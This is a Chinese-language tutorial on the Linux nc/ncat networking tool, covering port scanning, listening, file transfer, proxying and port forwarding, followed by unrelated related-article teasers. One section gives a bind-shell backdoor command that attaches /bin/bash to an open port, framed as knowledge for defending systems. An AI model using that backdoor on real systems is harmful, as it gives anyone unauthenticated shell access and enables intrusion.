Linux nc命令教程:如何使用网络界的瑞士军刀(附案例详解和注意事项)

Linux nc命令介绍

nc是netcat的简写,有着网络界的瑞士军刀美誉。它是一个功能强大的网络工具,主要有以下作用:

  • 实现任意TCP/UDP端口的侦听,nc可以作为server以TCP或UDP方式侦听指定端口
  • 端口的扫描,nc可以作为client发起TCP或UDP连接
  • 机器之间传输文件
  • 机器之间网络测速

Linux nc命令适用的Linux版本

nc命令在大多数Debian发行版中是默认可用的,它会在安装系统的过程中自动被安装。但是在CentOS 7 / RHEL 7的最小化安装中,nc并不会默认被安装。你需要用下列命令手工安装:

[linux@bashcommandnotfound.cn ~]$ yum install nmap-ncat -y

Linux nc命令的基本语法

nc的基本语法格式如下:

nc [-hlnruz] [-g<网关...>] [-G<指向器数目>] [-i<延迟秒数>] [-o<输出文件>] [-p<通信端口>] [-s<来源位址>] [-v...] [-w<超时秒数>] [主机名称] [通信端口...]

Linux nc命令的常用选项或参数说明

以下是nc命令的一些常用选项:

选项说明
-l用于指定nc将处于侦听模式
-p设置本地主机使用的通信端口
-s设置本地主机送出数据包的IP地址
-u使用UDP传输协议
-v输出交互或出错信息
-w超时秒数,后面跟数字
-z表示zero,表示扫描时不发送任何数据

Linux nc命令的实例

以下是一些nc命令的实例:

  • TCP端口扫描
[linux@bashcommandnotfound.cn ~]$ nc -v -z -w2 192.168.0.1 1-100
  • 扫描UDP端口
[linux@bashcommandnotfound.cn ~]$ nc -u -z -w2 192.168.0.1 1-1000
  • 扫描指定端口
[linux@bashcommandnotfound.cn ~]$ nc -nvv 192.168.0.1 80
  • 监听入站连接:通过 -l 选项,ncat可以进入监听模式,使我们可以在指定端口监听入站连接。完整的命令是这样的:
[linux@bashcommandnotfound.cn ~]$ ncat -l 8080

服务器就会开始在8080端口监听入站连接。

  • 连接远程系统:使用下面命令可以用nc来连接远程系统,
[linux@bashcommandnotfound.cn ~]$ ncat IP_address port_number

例如,

[linux@bashcommandnotfound.cn ~]$ ncat 192.168.0.1 80

这会创建一个连接,连接到IP为192.168.1.100的服务器上的80端口,然后我们就可以向服务器发送指令了。

  • 连接UDP端口:默认情况下,nc创建连接时只会连接TCP端口。不过我们可以使用 -u 选项来连接到UDP端口,
[linux@bashcommandnotfound.cn ~]$ ncat -l -u 1234

现在我们的系统会开始监听UDP的1234端口。

  • 将nc作为聊天工具:nc也可以作为聊天工具来用,我们可以配置服务器监听某个端口,然后从远程主机上连接到服务器的这个端口,就可以开始发送消息了。在服务器这端运行:
[linux@bashcommandnotfound.cn ~]$ ncat -l 8080

在远程客户端主机上运行:

[linux@bashcommandnotfound.cn ~]$ ncat 192.168.1.100 8080

之后开始发送消息,这些消息会在服务器终端上显示出来。

  • 将nc作为代理:nc也可以用来做代理。比如下面这个例子,
[linux@bashcommandnotfound.cn ~]$ ncat -l 8080 | ncat 192.168.1.200 80

所有发往我们服务器8080端口的连接都会自动转发到192.168.1.200上的80端口。

  • 使用nc拷贝文件:nc还能用来在系统间拷贝文件,虽然这么做并不推荐,因为绝大多数系统默认都安装了ssh/scp。不过如果你恰好遇见个没有ssh/scp的系统的话,你可以用nc来作最后的努力。在要接受数据的机器上启动nc并让它进入监听模式:
[linux@bashcommandnotfound.cn ~]$ ncat -l 8080 > file.txt

现在去要被拷贝数据的机器上运行下面命令:

[linux@bashcommandnotfound.cn ~]$ ncat 192.168.1.100 8080 --send-only < data.txt

这里,data.txt是要发送的文件。--send-only选项会在文件拷贝完后立即关闭连接。

  • 通过nc创建后门:nc命令还可以用来在系统中创建后门,并且这种技术也确实被黑客大量使用。为了保护我们的系统,我们需要知道它是怎么做的。创建后门的命令为:
[linux@bashcommandnotfound.cn ~]$ ncat -l 10000 -e /bin/bash

-e标志将一个bash与端口10000相连。现在客户端只要连接到服务器上的10000端口就能通过bash获取我们系统的完整访问权限:

[linux@bashcommandnotfound.cn ~]$ ncat 192.168.1.100 10000
  • 通过nc进行端口转发:我们通过选项 -c 来用nc进行端口转发,实现端口转发的语法为:
[linux@bashcommandnotfound.cn ~]$ ncat -u -l 80 -c 'ncat -u -l 8080'

这样,所有连接到80端口的连接都会转发到8080端口。

  • 设置连接超时:nc的监听模式会一直运行,直到手工终止。不过我们可以通过选项 -w 设置超时时间:
[linux@bashcommandnotfound.cn ~]$ ncat -w 10 192.168.1.100 8080

这回导致连接10秒后终止,不过这个选项只能用于客户端而不是服务端。

  • 使用 -k 选项强制nc待命:当客户端从服务端断开连接后,过一段时间服务端也会停止监听。但通过选项 -k 我们可以强制服务器保持连接并继续监听端口。命令如下:
[linux@bashcommandnotfound.cn ~]$ ncat -l -k 8080

现在即使来自客户端的连接断了也依然会处于待命状态。

Linux nc命令的注意事项

如果你在使用nc命令时遇到了"bash: nc: command not found"的错误,那么你可能需要安装nc。

更多详细内容可以参考:
linux入门学习教程 - Linux入门自学网
Linux下nc命令用法详解:如何使用网络界的瑞士军刀,号称最强大的网络工具

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/231693.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据分析思维导图

参考&#xff1a; https://zhuanlan.zhihu.com/p/567761684?utm_id0 1、数据分析步骤地图 2、数据分析基础知识地图 3、数据分析技术知识地图 4、数据分析业务流程 5、数据分析师能力体系 6、数据分析思路体系 7、电商数据分析核心主题 8、数据科学技能书知识地图 9、数据挖掘…

MATLAB 点云SVD分解计算平面法向量 (41)

MATLAB 点云SVD分解计算平面法向量 (41) 一、算法介绍二、算法实现一、算法介绍 算法主要是采用SVD分解矩阵的方法,计算平面的法向量。 二、算法实现 % 加载点云数据 ptCloud = pcread(D:\shuju\近似平面点集合2.pcd);% 计算点云质心 centroid = mean(ptCloud.</

React 组件生命周期

React生命周期&#xff0c;就是指组件从被创建出来&#xff0c;到被使用&#xff0c;最后被销毁的这么一个过程。而在这个过程中&#xff0c;React提供了我们会自动执行的不同的钩子函数&#xff0c;我们称之为生命周期函数。 一、类式组件 React的生命周期可以分为三个阶段&…

Crow:http请求到Rule绑定的handler_的调用链

Crow:基于req.rul查找路由Rule对象及匹配参数-CSDN博客 介绍了当接收到http请求后如何查找到Rule对象 Connection::do_read -> HTTPParser::feed -> 而feed实际上会依此调用定义于http_parser_settings中的所有函数,并完成http信息的解析 const static http_parser_se…

TensorFlow 2 和 Keras 之间的区别总结

1、什么是TensorFlow 2 TensorFlow 2是谷歌开源的一款深度学习框架&#xff0c;于2019年发布&#xff0c;并且在同年10月1日发布了TensorFlow 2.0.0正式稳定版。这款框架被很多企业与创业公司广泛用于自动化工作任务和开发新系统。 TensorFlow 2在分布式训练支持、可扩展的生…

python使用ctypes访问Windows原生API

在Windows系统中&#xff0c;C语言编写的动态链接库&#xff08;DLL&#xff09;是一种可由多个程序同时使用的代码和数据共享库。DLL文件包含了一些可以被其他程序调用的函数和数据。这些DLL文件通常与应用程序一起发布&#xff0c;并在需要时被加载到内存中&#xff0c;以便应…

【玩转 TableAgent 数据智能分析】股票交易数据分析+预测

文章目录 一、什么是TableAgent二、TableAgent 的特点三、实践前言四、实践准备4.1 打开官网4.2 注册账号4.3 界面介绍4.4 数据准备 五、确认分析需求六、TableAgent体验七、分析结果解读八、总结&展望 一、什么是TableAgent TableAgent是一款面向企业用户的智能数据分析工…

HTML中边框样式、内外边距、盒子模型尺寸计算(附代码图文示例)【详解】

Hi i,m JinXiang ⭐ 前言 ⭐ 本篇文章主要介绍HTML中边框样式、内外边距、盒子模型尺寸计算以及部分理论知识 &#x1f349;欢迎点赞 &#x1f44d; 收藏 ⭐留言评论 &#x1f4dd;私信必回哟&#x1f601; &#x1f349;博主收将持续更新学习记录获&#xff0c;友友们有任何问…

js实现给html加水印

创建一个 dom 元素调用下面的方法 var setWatermark (str,dom) > {const id 23.12.18;const element document.getElementById(id); if (element ! null) {element.parentNode.removeChild(element); // 从其父节点中移除该元素}const oBOM document.getElementById(do…

Linux 操作系统 003-系统目录介绍

Linux 操作系统 003-系统目录介绍 本节关键字&#xff1a;Linux、根目录、目录介绍、常用配置文件 本节相关指令&#xff1a; 根目录介绍 目录名称描述/binbinary的缩写&#xff0c;表示二进制文件&#xff0c;bin目录包含了会被所有用户实用的可执行程序。/boot包含与Linux…

用23种设计模式打造一个cocos creator的游戏框架----(二十)解析器模式

1、模式标准 模式名称&#xff1a;解析器模式 模式分类&#xff1a;行为型 模式意图&#xff1a;给定一个语言&#xff0c;定义它的文法的一种表示&#xff0c;并定义一个解释器&#xff0c;这个解释器使用该表示来解释语言中的句子。 结构图&#xff1a; 适用于&#xff1…

K8S(十一)—Service详解

目录 Service发布服务&#xff08;服务类型&#xff09;type: ClusterIP选择自己的 IP 地址例子 type: NodePort选择你自己的端口为 type: NodePort 服务自定义 IP 地址配置例子 type: LoadBalancer混合协议类型的负载均衡器禁用负载均衡器节点端口分配设置负载均衡器实现的类别…

java之HikariCP连接池介绍和使用方法 简单易懂!!!

文章目录 一、HikariCP连接池介绍二、导入的jar包三、代码演示配置文件使用配置文件连接运行结果 一、HikariCP连接池介绍 在我们的工作中&#xff0c;免不了要和数据库打交道&#xff0c;而要想和数据库打好交道&#xff0c;选择一款合适的数据库连接池就至关重要&#xff0c…

软件试运行整体方案

一、 试运行目的 &#xff08;一&#xff09; 系统功能、性能与稳定性考核 &#xff08;二&#xff09; 系统在各种环境和工况条件下的工作稳定性和可靠性 &#xff08;三&#xff09; 检验系统实际应用效果和应用功能的完善 &#xff08;四&#xff09; 健全系统运行管理体…

网神防火墙后台用户敏感信息泄露漏洞复现

简介 网神防火墙是一款由中国知名网络安全公司启明星辰开发的防火墙产品。它提供了全面的网络安全防护功能,旨在保护企业网络免受各种网络威胁和攻击。 该产品存在用户账号信息泄露漏洞,通过构造特定数据包,获取防火墙管理员登录的账号密码。 漏洞复现 FOFA语法: body=&…

6TIM定时器

STM32的定时器功能众多&#xff0c;拥有基本定时功能&#xff0c;输出比较功能&#xff08;如产生PWM波等&#xff09;&#xff0c;输入捕获&#xff08;测量方波信号&#xff09;&#xff0c;读取正交编码器的波形。 1.中断原理 TIM定时器的基本功能是对输入的时钟进行计数&…

vue使用xlsx和xlsx-style导出xlsx文件并修改样式

1.下载依赖 npm install xlsx --save npm install file-saver --save npm install xlsx-style --save2.先修改xlsx-style的源码&#xff0c;一旦引入xlsx-style则会报错 在\node_modules\xlsx-style\dist\cpexcel.js 807行 的 var cpt require(’./cpt’ ‘able’); 改成 v…

Python如何画函数图像

1 问题 通过图像可以直观地学习函数变化&#xff0c;在学习函数等方面效果显著。下面我们尝试用Python的2D绘图库matplotlib来绘制函数图像。实现 yx*x 图象。 2 方法 用文字描述解题思路&#xff0c;可配合一些图形以便更好的阐述。解决问题的步骤采用如下方式&#xff1a; …

100GPTS计划-AI写诗PoetofAges

地址 https://chat.openai.com/g/g-Cd5daC0s5-poet-of-ages https://poe.com/PoetofAges 测试 创作一首春天诗歌 创作一首夏天诗歌 创作一首秋天诗歌 创作一首冬天诗歌 微调 诗歌风格 语气&#xff1a;古典 知识库

掌握 Babel:让你的 JavaScript 与时俱进(下)

&#x1f90d; 前端开发工程师&#xff08;主业&#xff09;、技术博主&#xff08;副业&#xff09;、已过CET6 &#x1f368; 阿珊和她的猫_CSDN个人主页 &#x1f560; 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 &#x1f35a; 蓝桥云课签约作者、已在蓝桥云…